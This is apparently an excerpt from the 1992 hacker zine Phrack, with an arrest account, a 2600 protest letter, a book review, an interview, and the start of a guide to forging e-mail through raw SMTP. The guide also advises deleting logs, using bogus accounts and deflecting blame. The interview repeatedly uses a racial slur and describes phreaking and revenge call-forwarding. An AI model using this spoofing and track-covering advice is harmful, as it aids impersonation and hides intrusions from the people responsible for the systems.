- procedure was followed. The entire case was handled by local authorities,
- including the Westchester County DA. To my knowledge, the FBI and Bell
- Security people were not called in (or if they were, it was after I was
- released).
-
- Each detainee was body-searched for diskettes, hand-written notes about credit
- and computer services, autodialers, and the like. The suite where PumpCon had
- taken place was also searched. Hardware seized includes at least two Amigas
- with monitors, modems, and diskettes, and one AT&T dumb terminal with modem.
-
- Each of the detainees was interviewed in turn. Just before dawn on the morning
- of Sunday, November 1st, the police began making the actual arrests. Four to
- eight people were arrested and taken to the local jail.
-
- The rest of the detainees were released with no charges or arrests filed.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- And now on a personal note to anybody who is new to the world of hacking:
-
- Many of the attendees to PumpCon '92 were just like me. I was aware of the
- possible consequences of an arrest, but the full enormity of the possibilities
- hadn't sunk in. Getting busted can really ruin your life, and I am unwilling
- to sacrifice my liberty and get a criminal record just for the thrill of
- hanging out with the "eleet."
-
- I was personally terrified out of my skull and went right off any dreams I had
- of being some kind of big-time cyberpunk. The law had us outgunned ten to one
- (literally and figuratively) and I as I write this on Monday night I still
- haven't stopped shaking.
-
- To anyone who hasn't considered what it would be like to get seriously busted,
- I want you to try and picture the scene that night, and comes the dawn, a lot
- of the people you were partying with just twelve hours earlier are carted away
- in handcuffs to face an uncertain future.
-
- The attendees of PumpCon, including myself and with few exceptions, were utter
- and complete fools. They thought that they could act like jerks, bust up the
- hotel, and phreak off the room lines without bringing down the heat like a jet
- of molten lava. They thought they were too smart to get caught. They thought
- that they were immortal. They thought wrong, and now some of them are going to
- pay for it.
-
- I got lucky. I was released, and I learned some invaluable lessons.
-
- I can't stress enough to anybody out there who is treating the state of the
- Hack like it's a big game: You aren't going to get your marbles back when the
- night is over. The stakes are real. Ask yourself if you can deal with the
- possibilities of ruining your life before it's even begun.
-
- Everyone must make their own decision. You are only given this one chance to
- bail out now; any others that come along are blessings from on high.
-
- If you do decide to live in the computer underground, I can only offer this
- advice: Cover your a$$. Do not act foolishly. Do not associate with fools.
- Remember that you are not immortal, and that ultimately there are no safety
- nets. Intelligence can't always save you. Do not, in your arrogance, believe
- that it will. My time as a cyberpunk has been short and undistinguished but it
- has taught me this much.
-
- I'm not saying that you should not become a hacker. If that is truly your
- wish, then I'm not one to stop you. I'm just warning you that when the fall
- comes, it can come hard, and there's nobody who can help you when you've gone
- far enough past the line.
-
- Phil "The Outlander"
- _______________________________________________________________________________
-
- 2600 Meeting Disrupted by Law Enforcement December 12, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Emmanuel Goldstein (Editor of 2600 Magazine)
-
- The following is a letter I wrote to the Washington Post in response to their
- article about the incidents at the Pentagon City Mall on November 6, entitled,
- "Hackers Allege Harassment at Mall" (dated November 13, page A1). Their
- article failed to focus on the startling revelation of federal government
- involvement and the ominous implications of such an action. The article also
- does little to lessen the near hysteria that is pumped into the general public
- every time the word "hacker" is mentioned.
-
- Let us take a good look at what has been confirmed so far. A group of computer
- hackers gathered at a local mall as they do once a month. Similar meetings
- have been going on in other cities for years without incident. This gathering
- was not for the purposes of causing trouble and nobody has accused the hackers
- of doing anything wrong. Rather, the gathering was simply a place to meet and
- socialize. This is what people seem to do in food courts and it was the
- hackers' intention to do nothing more.
-
- When mall security personnel surrounded the group and demanded that they all
- submit to a search, it became very clear that something bizarre was happening.
- Those who resisted were threatened with arrest. Everyone's names were written
- down, everyone's bags gone through. One person attempted to write down the
- badge numbers of the people doing this. The list was snatched out of his hand
- and ripped to pieces. Another hacker attempted to catch the episode on film.
- He was apprehended and the film was ripped from his camera. School books,
- notepads, and personal property were seized. Much of it has still not been
- returned. The group was held for close to an hour and then told to stay out
- of the mall or be arrested.
-
- This kind of treatment is enough to shock most people, particularly when
- coupled with the overwhelming evidence and eyewitness accounts confirming no
- unusual or disruptive behavior on the part of the group. It is against
- everything that our society stands for to subject people to random searches and
- official intimidation, simply because of their interests, lifestyles, or the
- way they look. This occurrence alone would warrant condemnation of a blatant
- abuse of power. But the story doesn't end there.
-
- The harassment of the hackers by the mall police was only the most obvious
- element. Where the most attention should be focused at this point is on the
- United States Secret Service which, according to Al Johnson, head of mall
- security, "ramrodded" the whole thing. Other media sources, such as the
- industry newsletter Communications Daily, were told by Johnson that the Secret
- Service was all over the mall that day and that they had, in effect, ordered
- the harassment. Arlington police confirm that the Secret Service was at the
- mall that day.
-
- It is understood that the Secret Service, as a branch of the Treasury
- Department, investigates credit card fraud. Credit card fraud, in turn, can be
- accomplished through computer crime. Some computer hackers could conceivably
- use their talents to accomplish computer crime. Thus we arrive at the current
- Secret Service policy, which appears to treat everybody in the hacker world as
- if they were a proven counterfeiter. This feeling is grounded in
- misperceptions and an apprehension that borders on panic. Not helping the
- situation any is the ever-present generation gap -- most hackers are young and
- most government officials are not.
-
- Apart from being disturbed by the gross generalizations that comprise their
- policy, it seems a tremendous waste of resources to use our Secret Service to
- spy on public gatherings in shopping malls. It seems certain to be a violation
- of our rights to allow them to disrupt these meetings and intimidate the
- participants, albeit indirectly. Like any other governmental agency, it is
- expected that the Secret Service follow the rules and not violate the
- constitutional rights of citizens.
-
- If such actions are not publicly condemned, we will in effect be granting a
- license for their continuance and expansion. The incident above sounds like
- something from the darkest days of the Soviet Union when human rights activists
- were intimidated by government agents and their subordinates. True, these are
- technology enthusiasts, not activists. But who they are is not the issue. We
- cannot permit governmental abuse of any person or group simply because they may
- be controversial.
-
- Why do hackers evoke such controversy? Their mere presence is an inconvenience
- to those who want so desperately to believe the emperor is wearing clothes.
- Hackers have a tendency of pointing out the obvious inadequacies of the
- computer systems we entrust with such a large and growing part of our lives.
- Many people don't want to be told how flimsily these various systems are held
- together and how so much personal data is readily available to so many.
- Because hackers manage to demonstrate how simple it is to get and manipulate
- this information, they are held fully responsible for the security holes
- themselves.
-
- But, contrary to most media perceptions, hackers have very little interest in
- looking at other people's personal files. Ironically, they tend to value
- privacy more than the rest of us because they know firsthand how vulnerable it
- is. Over the years, hackers have gone to the media to expose weaknesses in our
- credit reporting agencies, the grading system for New York City public schools,
- military computer systems, voice mail systems, and even commonly used push
- button locks that give a false sense of security. Not one of these examples
- resulted in significant media attention and, consequently, adequate security
- was either delayed or not implemented at all.
-
- Conversely, whenever the government chooses to prosecute a hacker, most media
- attention focuses on what the hacker "could have done" had he been malicious.
- This reinforces the inaccurate depiction of hackers as the major threat to our
- privacy and completely ignores the failure of the system itself.
-
- By coming out publicly and meeting with other hackers and non-hackers in an
- open atmosphere, we have dispelled many of the myths and helped foster an
- environment conducive to learning. But the message we received at the Pentagon
- City Mall tells us to hide, be secretive, and not trust anybody. Perhaps
- that's how the Secret Service wants hackers to behave. But we are not
- criminals and we refuse to act as such simply because we are perceived that way
- by uninformed bureaucrats.
-
- Regardless of our individual outlooks on the hacker issue, we should be
- outraged and extremely frightened to see the Secret Service act as they did.
- Whether or not we believe that hackers are decent people, we must agree that
- they are entitled to the same constitutional freedoms the rest of us take for
- granted. Any less is tantamount to a very dangerous and ill-advised precedent.
-
- Emmanuel Goldstein
- Editor, 2600 Magazine -- The Hacker Quarterly (516)751-2600
-
- (NOTE: 2600 Magazine coordinates monthly hacker meetings throughout the
- country.)
- _______________________________________________________________________________
-
- Two New Hardcovers November 24, 1992
- ~~~~~~~~~~~~~~~~~~
- by Alan J. Rothman (New York Law Journal)(Page 5)
-
- During the opening sequence of the classic English television series "The
- Prisoner," the lead character known only as Number 6 (brilliantly played by
- Patrick McGoohan) is abducted and taken to a secret location called "The
- Village." He desperately pleads with his captors "What do you want?" Their
- grim response is "Information." Through 17 thrilling episodes, his kidnappers
- staged elaborate high-tech ruses to find out why he quit work as a spy.
-
- Had this story been set in the 1990s rather than the 1960s, all The Village's
- proprietors would have needed was a PC and a modem. They could have assembled
- a composite of Number 6's movements by cross-referencing records from any of
- the commercial data bases containing the details of nearly everyone's daily
- activities. Then with a bit of ingenuity, they could have tried to steal even
- more information by hacking into other restricted data systems.
-
- No longer fiction, but common fact, the billowing growth in the computers and
- telecommunications networks everywhere is generating urgent legal issues
- regarding the content, usage and ownership of the data coursing through them.
- Dilemmas have also surfaced concerning the responsibilities of the businesses
- which gather, sift and repackage such information. Indeed, a critical juncture
- has now been reached where the basic constitutional rights of privacy and
- expression are colliding with the ever-expanding reach of modern technology.
-
- Two well-crafted books have recently been published which together frame the
- spectrum of relevant individual rights issues in these areas with uncanny
- symmetry. Fortunately, neither degenerates into a "computers are bad"
- jeremiad. Rather, they portray an appropriate balance between the virtues of
- computerization and disturbing cases of technological misuse for wrongful
- commercial and governmental ends.
-
- Presenting array of new forms of electronic encroachment on personal privacy is
- Jeffrey Rothfeder's alarming new book, "Privacy for Sale: How Computerization
- Has Made Everyone's Private Life an Open Secret" (Simon & Schuster, 224 pages,
- $22). He offers the chilling thesis that anyone can find out nearly anything
- regarding anybody and there is nowhere left to hide. He convincingly states
- his case in a concise and insightful exploration of the trends and abuses in
- the mass processing of personal data.
-
- The fascinating mechanics of how and where information about virtually every
- aspect of our lives is gathered and then computerized are extensively
- described. The most productive fonts include medical records, credit
- histories, mortgage applications, subscription lists, phone records, driver's
- licenses and insurance forms. Yet notwithstanding the legitimate commercial
- and regulatory reasons for providing these facts, the author carefully
- documents another more deeply hidden and troubling consequence of volunteering
- such information: It is constantly resold, combined with other sources and
- reused without your knowledge or permission for purposes entirely different
- from those you first intended.
-
- Mr. Rothfeder alleges the most perilous result of these activities is the
- growing and highly organized sales, integration and cross-matching of
- databases. Businesses and government entities now have sophisticated software
- to generate complex demographic profiles about individuals, populations and
- geographic areas. In turn, these computer-generated syntheses are increasingly
- used for invasive and discriminatory purposes.
-
- Numerous examples of such misuse are cited, ranging from slightly annoying to
- purely horrifying. The astonishing breadth of this roster includes the sale of
- driver's license information with height weight specifications to clothes
- marketers for tall men and thin women, purchases of credit histories and
- workmen's compensation claims reports by prospective employers who believe this
- material is indicative of a job applicant's character, and the creation of
- "propensity files" by federal agencies to identify people who have not
- committed any offense but might likely be criminals.
-
- Two additional problems pervade the trafficking of intimate information.
- First, there is little or no federal legislation to effectively protect people
- from certain problems presented in the book. For example, the release of
- medical records thought to be "confidential" is virtually unprotected.
-
- Second, it can be extremely difficult to have false entries corrected before
- they have a ripple effect on your other data. Beyond the common tales of
- frustration at clearing up a faulty credit report, Mr. Rothfeder relates the
- case of a man denied any health insurance because his medical records contained
- an erroneous report he was HIV positive.
-
-
- JOURNEY IN CYBERSPACE
-
- Turning to a much more accurate account, author Bruce Sterling takes readers
- into the ethereal realm of "cyberspace" where computers, networks, and
- electronic bulletin boards systems (BBS) are linked together by phone. In his
- first non-fiction work, "The Hacker Crackdown: Law and Disorder on the
- Electronic Frontier" (Bantam, 328 pages, $23), he chronicles the U.S.
- government's highly visible efforts in 1990 to prosecute "hackers" it suspected
- of committing crimes by PC and modem. However, Mr. Sterling distinguishes this
- term as being more about active computer enthusiasts, most of whom have never
- committed any wrongdoing. The writer's other credits include some highly
- regarded "cyberpunk" science fiction, where computer technology is central to
- the plots and characters.
-
- The "crackdown" detailed by the author began with the crash of AT&T's long-
- distance phone system on January 15, 1990. Although it has never been proven
- that hackers were responsible, this event served as the final catalyst to spur
- federal law enforcement agencies into concerted action against a suspected
- underground of computer criminals. A variety of counter-operations were
- executed. Most notable was Operation Sundevil the following May when agents
- around the country seized 42 computer systems, 23,000 diskettes, and halted 25
- BBS's where the government believed hackers were exchanging tips of the trade.
-
- Some of the government's resulting prosecutions through their nationwide
- efforts were moderately successful. However, the book's dramatic centerpiece is
- the trial of Craig Neidorf (a.k.a. Knight Lightning). Mr. Neidorf was a
- contributor to Phrack, an electronic magazine catering to hackers, available on
- various BBS's.
-
- In January 1989, another hacker named "Prophet" transmitted a document he
- pilfered from BellSouth's computers regarding the 911 emergency system to
- Neidorf. Together they edited the text, which Neidorf then published in
- Phrack. In July 1990, he was placed on trial for federal charges of entering a
- fraudulent scheme with Prophet to steal this document. The government alleged
- it was worth $79,499 and that its publication threatened emergency operations.
- To the prosecutor's dismay, the case was dropped when the defense proved the
- same material was publicly available for only $13.
-
- With insight and style, Mr. Sterling uses this and other events to cast
- intriguing new spins on applicable civil liberties issues.
-
- Are the constitutional guarantees of freedom of expression and assembly fully
- extended to BBS dialogs and gatherings? What degree of privacy can be expected
- for personal data on systems which may be subject to surreptitious entry? Are
- hackers really breaking any laws when merely exploring new systems? Is posting
- a message or document on a BBS considered a "publication"? Should all BBS's be
- monitored just because of their potential for illegal activity? What are the
- responsibilities of BBS operators for the contents of, and access to, their
- systems?
-
- The efforts of Mitchell Kapor, the co-developer of Lotus 123 and now chairman
- of ONtechnology, are depicted as a direct response to such issues raised by the
- crackdown. Mr. Kapor assembled a prominent group of fellow computer
- professionals to establish the Electronic Frontier Foundation (EFF), dedicated
- to education and lobbying for free speech and expression in electronic media.
- As well, EFF has provided support to Craig Neidorf and others they consider
- wrongly charged with computer crime.
-
- Weighty legal matters aside, the author also embellishes his story with some
- colorful hacker lore. These denizens of cyberspace are mostly young men in
- their late teens or early twenties, often fueled by junk food and propelled by
- macho. Perhaps their most amusing trait is the monikers they adopt --
- Bloodaxe, Shadowhawk, and of course, Phiber Optik.
-
- Someone else, a non-hacker involuntary given the pseudonym "Number 6," knew his
- every act was continually being monitored and recorded against his will. As a
- manifestation of resistance to this relentless surveillance, he often bid
- farewell to other citizens of the Village with a sarcastic "Be seeing you."
- Today, the offerings of authors Rothfeder and Sterling provide a resounding
- "And you" as a form of rejoinder (often uttered by The Village's citizens as
- well), to publicize the ironic diversity threats wrought by information
- technology.
-
- Number 6 cleverly managed to escape his fictional captivity in The Village
- during the final (and mind-boggling) episode of The Prisoner. However, based
- on the compelling evidence presented in these two books, the protection of
- individual rights in the reality of today's evolving "global village" of
- computer networks and telecommunications may not be so neatly resolved.
- _______________________________________________________________________________
-
- ==Phrack Inc.==
-
- Volume Four, Issue Forty-One, File 3 of 13
-
- ==Phrack Pro-Phile==
-
- Created by Taran King (1986)
-
- _______________________________________________________________________________
-
- Welcome to Phrack Pro-Phile. Phrack Pro-Phile is created to bring info to
- you, the users, about old or highly important/controversial people. This
- month, we bring to you certainly one of the most controversial people (and
- handles) to ever emerge in the computer underground...
-
- Supernigger
- ~~~~~~~~~~~
- _______________________________________________________________________________
-
- Personal
- ~~~~~~~~
- Handle: Supernigger
- Call him: SN
- Date of Birth: Years ago
- Age: Getting along in the years.
- Height: Medium
- Weight: Medium
- Computers owned: Commodore Vic-20, C64, Amiga, 386 Compatible
-
- How did this handle originate? Back in 1985, I had blueboxed to a bridge.
- Someone on there, for some reason, decided that he didn't like me, and shouted,
- "Get off, nigger!" He then proceeded to knock me off with a 2600 Hz tone. I
- immediately called back with something "un-2600 hz-able" and, when he shouted,
- "Get off nigger!" and blew 2600 hz, I then said, "I'm SUPERnigger, you can't
- knock me off, I've got the POWER!!" Fun, eh?
-
-
- How I Got Started
- ~~~~~~~~~~~~~~~~~
- Back in '82 or '83, I got a wonderful computer called a Commodore Vic-20.
- With that, I wrote a few irrelevant programs and played "Gorf!" a lot. Then, a
- friend suggested that I get a Commodore C-64 and disk drive for all the RAD
- WhErEz! it had.
-
- Needless to say, I was not disappointed. Then a friend showed me a
- 5-digit number you could put in after calling an access number, and it would
- put a call through for you! Imagine that! This, I thought, was the key to
- UNLIMITED WARES!
-
- Then, the new ware scene became tiresome and boring REAL quick. I had
- them all. New ones. Old ones. Middle-aged ones. I had wares coming out of
- my ass. Just when I was about to drop out of the scene, I saw a number posted
- on a board for InterCHAT (201), a multi-line chat system.
-
- That's where the cavalcade of fun and interesting endeavors began. That's
- where I met Sharp Remob, Lord_foul (DP), Dark Wanderer and other members of
- DPAK.
-
- Speaking of DPAK, the group was created when we found a glitch in the MCI
- access # that allowed any 14-digit code to work. We then made up the joke,
- "Today at 2:00 PM, DPAK Agents cornered an MCI official and said, 'You WILL
- give these people free calls!'" and proceeded to tell people about the glitch
- ("DPAK" came from Mad Hacker 312, who, when asked about obtaining non-published
- numbers, said, "Oh, you'd have to be a DPAK Agent to get that.").
-
- After that, DPAK was tracing people before Caller ID came out, finding and
- creating bridges, setting up an 800 # for InterCHAT (actually 2 if you were
- quick enough to catch the second one), putting out Sharp Remob's Social
- Engineering file, and other things that I had better not mention (I would go
- on, but I think I might frighten you.).
-
- I would have to say that I feel negatively toward "elite posers," people
- who claim to know things with the sole purpose of trying to seem "cool." These
- are the people you see boasting about how long they have been around (which is
- irrelevant), spurting out random acronyms when they have no idea how they are
- actually used, and trying to make something complicated and mysterious out of
- something mundane and simple. For example: "Hey dude, watch out, I may be
- listening in on your line right now with a DAMT," or "Oh, I'll just use the DRT
- trunk multiplexor to do a Random Interphase-seizure of the tandemized trunk."
- (Barf!)
-
- Also, I think this government crackdown really sucks. What sucks is the
- fact that the government is going after big NAMES instead of big -CRIMES-.
- Rather than stopping crimes, they just want to "show who's boss." A lot of
- innocent lives are being ruined. In fact, after this issue of Phrack comes
- out, I plan to lay VERY low because they will probably want to get me now that
- my handle was in a phreak/hack publication.
-
-
- Interests
- ~~~~~~~~~
-
- Women: Fast
- Cars: Fast (VWs)
- Food: Fast
- Music: All kinds (Rap, Rock, Metal, you name it)
- Favorite performers: 2 Live Crew
- Favorite author: Lord Digital (the father of ELITE!ness)
- Favorite Book: Nat!onal Enl!ghtener
-
-
- Most Memorable Experiences
- ~~~~~~~~~~~~~~~~~~~~~~~~~~
- "It works! It works!!" -- when the 800 # for InterCHAT actually worked.
- If you called it, you remember. That took a lot of work...
-
- Also, at one point in time, every chat system in New Jersey was forwarded
- to InterCHAT.. That was truly hilarious. I strongly suggest, at this point,
- that everyone refrain from attempting these things. The consequences are a bit
- more serious now. But if you must, be VERY very careful.
-
- ...And, I would like to take this opportunity to clear up the "Free World
- II Incident" and other vague and unclear statements chronicled in Phrack 28.
- First of all, I -DID NOT- crash Black Ice BBS. In fact, some hick from Texas
- already stated to me that he wrote my name on the BBS when it was crashed. The
- same hick tends to lie and spread rumors a lot, so I don't actually know if it
- was him that wrote my name. Suffice to say that I didn't crash it.
-
- Secondly, and most important, Free World II BBS was forwarded to InterCHAT
- because Major Havoc was a complete and total ASSHOLE.
-
- I called his system and applied for access. When I tried to get back on,
- I found that my application had been deleted without so much as a notification,
- so I thought that the BBS hadn't saved it correctly and applied again. I found
- the BBS hadn't saved it correctly a second time, and when I tried to fill out
- the application once more, Major Havoc broke in and typed things like "Get the
- fuck off here" and "Hang the fuck up." I typed "Fine, have it your way" and
- proceeded to forward his BBS # to InterCHAT. You can't just treat people like
- that and expect nothing to happen.
-
- The opening message on InterCHAT said: "Until Major Havoc learns the
- meaning of the word TACT (dealing with people in a non-offensive manner), his
- BBS has been put to better use."
-
- (I had called the BBS in the first place to try to clear up wild rumors
- that The Blade had said were being tossed about on there).
-
- I hope this has cleared things up.
-
-
- Some People To Mention
- ~~~~~~~~~~~~~~~~~~~~~~
-
- Sharp Remob : He showed me the wonders of Social Engineering. He is
- making the big dollars now.
-
- Lord_foul : I never realized how many people he was in contact with.
- Some pretty heavy hitters. He never let on how much he
- knew.
-
- Applehead : The best DJ in the phreak/hack world. Truly, in mixing
- records, no one is his equal. Seems to be able to
- mesmerize phone company employees into doing his bidding as
- well. Could these two things be related?
-
- Meat Puppet : "Money for nuthin, EVERYTHING for free." Why anyone would
- want 800 watts in their car I will never know.
-
- Lung C00kiez : He had the best conference ideas, like Want-Ad Fun and
- Operator Frenzy.
-
- *DETH*-2-*J00Z* : So much for political correctness. First person I know to
- theorize how to trace people before Caller ID came out.
-
- Dark Wanderer : Works for Sun Microsystems now. One of the few hackers I
- know that has a technical computer-oriented career.
-
- Krak Dealer : Takes consciousness-altering to the level of an art form.
-
- Squashed Pumpkin : The enforcer.
-
- DeeDee : The only cool bridge chick.
-
- Dr. Mike : Cool guy when he's not threatening his girlfriend with a
- knife.
-
- Gatsby : Gets the award for quick learner.
-
- orpheus : One of the true devotees of InterCHAT, and one of the few
- people I know who is actually interested in HP-3000.
-
- The whole InterCHAT crowd... Made modeming fun.
-
- I should also mention a group of NYC individuals at this time. I would
- mention their names, but certain legal situations preclude that. They showed
- me what someone can REALLY do with an in-depth understanding of many systems.
-
- Suffice to say that they are the creme de la creme, probably the only
- group up to par with DPAK.
-
- Oh, and I cannot, I MUST NOT forget to mention The Blade, who is truly a
- legend in his own mind.
-
-
- The Future
- ~~~~~~~~~~
- I see the future for hacking/phreaking as pretty bleak. Big Brother is
- watching. System Administrators are finally realizing that it is better to
- make your system impenetrable than to prosecute kids (I wish the government
- would realize this). If you combine these two things, there is not much to
- look forward to.
-
- In Closing...
- ~~~~~~~~~~~~~
- As for the standard Pro-Phile question (are most of the phreaks and
- hackers that I've met computer geeks?), I have not met any phreakers or
- hackers, so I can't say if they are geeks or not. From phone conversations,
- some seem like geeks, some don't.
- _______________________________________________________________________________
- ==Phrack Inc.==
-
- Volume Four, Issue Forty-One, File 4 of 13
-
- Network Miscellany
- *******************************************************
- < The POWER of Electronic Mail >
- *******************************************************
- Compiled from Internet Sources
-
- by The Racketeer
- of The Hellfire Club
-
- Network Miscellany created by Taran King
-
-
- First of all, this guide is more than using fakemail. It literally
- explains the interfaces used with SMTP in detail enough that you should gain a
- stronger awareness of what is going on across the multitude of networks which
- make up the worldwide e-mail connections. It also contains my usual crude
- remarks and grim hacker humor (assuming it hasn't again been edited out, but
- I'm somewhat proud of the fact that Phrack heavily edited my "language" in last
- issue's article. Oh well.).
-
- There are two objectives in this file: first, I will attempt to show that
- by using fakemail and SMTP, you can cause an amazing number of useful, hacker
- related stunts; second, I shall attempt to be the first hacker to ever send a
- piece of electronic mail completely around the world, ushering in a new age of
- computerdom!
-
- I suggest that, unless you don't want everyone lynching you, don't try to
- fuck up anything that can't be repaired offhand. I've experimented with
- fakemail beyond this article and the results were both impressive and
- disastrous. Therefore, let's examine risks first, and then go onto the good
- stuff. Basic philosophy -- use your brain if you've got one.
-
-
- RISKS:
-
- Getting caught doing this can be labeled as computer vandalism; it may
- violate trespassing laws; it probably violates hundreds of NFS, Bitnet and
- private company guidelines and ethics policies; and finally, it will no doubt
- piss someone off to the point of intended revenge.
-
- Networks have fairly good tracing abilities. If you are logged, your host
- may be disconnected due to disciplinary referral by network authorities (I
- don't think this has happened yet). Your account will almost definitely be
- taken away, and if you are a member of the source or target computer's
- company/organization, you can expect to face some sort of political shit that
- could result in suspension, expulsion, firing, or otherwise getting the short
- end of the stick for awhile.
-
- Finally, if the government catches you attempting to vandalize another
- computer system, you will probably get some sort of heavy fine, community
- service, or both.
-
- Odds of any of this happening if you are smart: < 1%.
-
-
- PRECAUTIONS SUGGESTED:
-
- If you have a bogus computer account (standard issue hacker necessity)
- then for crissake use that. Don't let "them" know who really is hacking
- around. (Point of clarification, I refer to "them" an awful lot in RL and in
- philes. "They" are the boneheadded "do-gooders" who try to blame their own
- lack of productivity or creativity on your committing of pseudo-crimes with a
- computer. FBI, SS, administrators, accountants, SPA "Don't Copy that Floppy"
- fucks, religious quacks, stupid rednecks, right wing conservative Republican
- activists, pigs, NSA, politicians who still THINK they can control us, city
- officials, judges, lame jurors that think a "hacker" only gets
- slap-in-the-wrist punishments, lobbyists who want to blame their own failed
- software on kids, bankers, investors, and probably every last appalled person
- in Stifino's Italian Restaurant when the Colorado 2600 meeting was held there
- last month. Enough of the paranoid Illuminati shit, back to the phile.)
-
- Make sure that you delete history files, logs, etc. if you have
- access to them. Try using computers that don't keep logs. Check /usr/adm,
- /etc/logs to see what logs are kept.
-
- If you can avoid using your local host (since you value network
- connections in general), do so. It can avert suspicion that your host contains
- "hackers."
-
-
- IF YOU EVER ARE CONFRONTED:
-
- "They must have broken into that account from some other site!"
-
- "Hackers? Around here? I never check 'who' when I log in."
-
- "They could have been super-user -- keep an eye out to see if the scum
- comes back."
-
- "Come on, they are probably making a big deal out of nothing. What could
- be in e-mail that would be so bad?"
-
- "Just delete the account and the culprit will be in your office tomorrow
- morning." (Of course, you used a bogus account.)
-
-
- PART ONE: ELECTRONIC MAIL
-
- Basically, electronic mail has become the new medium of choice for
- delivering thoughts in a hurry. It is faster than the post office, cheaper
- than the post office, doesn't take vacations all the time like the post office,
- and is completely free so it doesn't have unions.
-
- Of course, you know all that and would rather spend this time making damn
- sure you know what SMTP is.
-
- To my knowledge, a completely accurate SMTP set of protocols hasn't been
- published in any hacker journal. The original (at least, the first I've seen)
- was published in the Legion of Doom Technical Journals and covered the minimum
- SMTP steps necessary for the program "sendmail," found in a typical Unix
- software package.
-
- When you connect a raw socket to a remote SMTP compatible host, your
- computer is expected to give a set of commands which will result in having the
- sender, receiver, and message being transferred. However, unlike people who
- prefer the speed of compression and security of raw integer data, the folks at
- DARPA decided that SMTP would be pretty close to English.
-
- If you are on the Internet, and you wanted to connect to the SMTP server,
- type:
-
- telnet <hostname> 25
-
- Port 25 is the standard port for SMTP. I doubt it would be too cool to
- change this, since many mail servers connect to the target hosts directly.
- When you connect, you will get a small hostname identifier for whatever SMTP
- server revision you've got.
-
- 220 huggies.colorado.edu Sendmail 2.2/2.5 8/01/88 ready at Tue, 25 Aug 91
- 03:14:55 edt
-
- Now that you are connected, the computer is waiting for commands. First
- of all, you are expected to explain which computer you are calling in from.
- This is done with the HELO <host> command. This can be anything at all, but if
- you fail to give the exact host that you are connecting from, it causes the
- following line to appear on the e-mail message the recipient gets from you:
-
- Apparently-to: The Racketeer <rack@lycaeum.hfc.com>
-
- Instead of the classic:
-
- To: The Racketeer <rack@lycaeum.hfc.com>
-
- This is the secret to great fakemail -- the ability to avoid the
- "apparently-to" flag. Although it is subtle, it is a pain to avoid. In fact,
- in some places, there are so many "protections" to SMTP that every outside
- e-mail is marked with "Apparently-to." Hey, their problem.
-
- So, go ahead and type the HELO command:
-
- HELO LYCAEUM.HFC.COM
-
- The computer replies:
-
- 250 huggies.colorado.edu Hello LYCAEUM.HFC.COM, pleased to meet you
-
- Oh, a warm reception. Older sendmail software explains with the HELP
- command that the computer doesn't care about HELO commands. You can check it
- upon login with the command "HELP HELO."
-
- Now what you will need to do is tell the computer who is supposed to get
- the letter. From this point, there are all sorts of possibilities. First of
- all, the format for the recipient would be:
-
- RCPT TO: <name@host>
-
- And *NOTE*, the "<" and ">" symbols should be present! Some computers,
- especially sticklers like Prime, won't even accept the letters unless they
- adhere specifically to the protocol! Now, if you give a local address name,
- such as:
-
- RCPT TO: <smith>
-
- ...then it will treat the mail as if it were sent locally, even though it
- was sent through the Internet. Giving a computer its own host name is valid,
- although there is a chance that it will claim that the machine you are calling
- from had something to do with it.
-
- RCPT TO: <smith@thishost>
-
- ...will check to see if there is a "smith" at this particular computer. If
- the computer finds "smith," then it will tell you there is no problem. If you
- decide to use this computer as a forwarding host (between two other points),
- you can type:
-
- RCPT TO: <smith@someotherhost>
-
- This will cause the mail to be forwarded to someotherhost's SMTP port and
- the letter will no longer be a problem for you. I'll be using this trick to
- send my letter around the world.
-
- Now, after you have given the name of the person who is to receive the
- letter, you have to tell the computer who is sending it.
-
- MAIL FROM: <rack@lycaeum.hfc.com> ; Really from
- MAIL FROM: <rack> ; Localhost
- MAIL FROM: <rack@osi.mil> ; Fake -- "3rd party host"
- MAIL FROM: <lycaeum.hfc.com|rack> ; UUCP Path
-
- Essentially, if you claim the letter is from a "3rd party," then the other
- machine will accept it due to UUCP style routing. This will be explained later
- on.
-
- The next step is actually entering the e-mail message. The first few
- lines of each message consists of the message title, X-Messages, headers,
- Forwarding Lines, etc. These are completely up to the individual mail program,
- but a few simple standards will be printed later, but first let's run through
- the step-by-step way to send fakemail. You type anything that isn't preceded
- by a number.
-
- 220 hal.gnu.ai.mit.edu Sendmail AIX 3.2/UCB 5.64/4.0 ready at Tue, 21 Jul 1992
- 22:15:03 -0400
- helo lycaeum.hfc.com
- 250 hal.gnu.ai.mit.edu Hello lycaeum.hfc.com, pleased to meet you
- mail from: <rack@lycaeum.hfc.com>
- 250 <rack@lycaeum.hfc.com>... Sender ok
- rcpt to: <phrack@gnu.ai.mit.edu>
- 250 <phrack@gnu.ai.mit.edu>... Recipient ok
- data
- 354 Enter mail, end with "." on a line by itself
- Yo, C.D. -- mind letting me use this account?
- .
- 250 Ok
- quit
-
- Now, here are a few more advanced ways of using sendmail. First of all,
- there is the VRFY command. You can use this for two basic things: checking up
- on a single user or checking up on a list of users. Anyone with basic
- knowledge of ANY of the major computer networks knows that there are mailing
- lists which allow several people to share mail. You can use the VRFY command
- to view every member on the entire list.
-
- vrfy phrack
- 250 Phrack Classic <phrack>
-
- Or, to see everyone on a mailing list:
-
- vrfy phrack-staff-list
- 250 Knight Lightning <kl@stormking.com>
- 250 Dispater <dispater@stormking.com>
-
- Note - this isn't the same thing as a LISTSERV -- like the one that
- distributes Phrack. LISTSERVs themselves are quite powerful tools because they
- allow people to sign on and off of lists without human moderation. Alias lists
- are a serious problem to moderate effectively.
-
- This can be useful to just check to see if an account exists. It can be
- helpful if you suspect a machine has a hacked finger daemon or something to
- hide the user's identity. Getting a list of users from mailing lists doesn't
- have a great deal of uses, but if you are trying very hard to learn someone's
- real identity, and you suspect they are signed up to a list, just check for all
- users from that particular host site and see if there are any matches.
-
- Finally, there is one last section to e-mail -- the actual message itself.
- In fact, this is the most important area to concentrate on in order to avoid
- the infamous "Apparently-to:" line. Basically, the data consists of a few
- lines of title information and then the actual message follows.
-
- There is a set of guidelines you must follow in order for the quotes to
- appear in correct order. You won't want to have a space separate your titles
- from your name, for example. Here is an example of a real e-mail message:
-
- From: rack@lycaeum.hfc.com
- Received: by dockmaster.ncsc.mil (5.12/3.7) id AA10000; Thu, 6 Feb 92 12:00:00
- Message-Id: <666.AA10000@dockmaster.ncsc.mil>
- To: RMorris@dockmaster.ncsc.mil
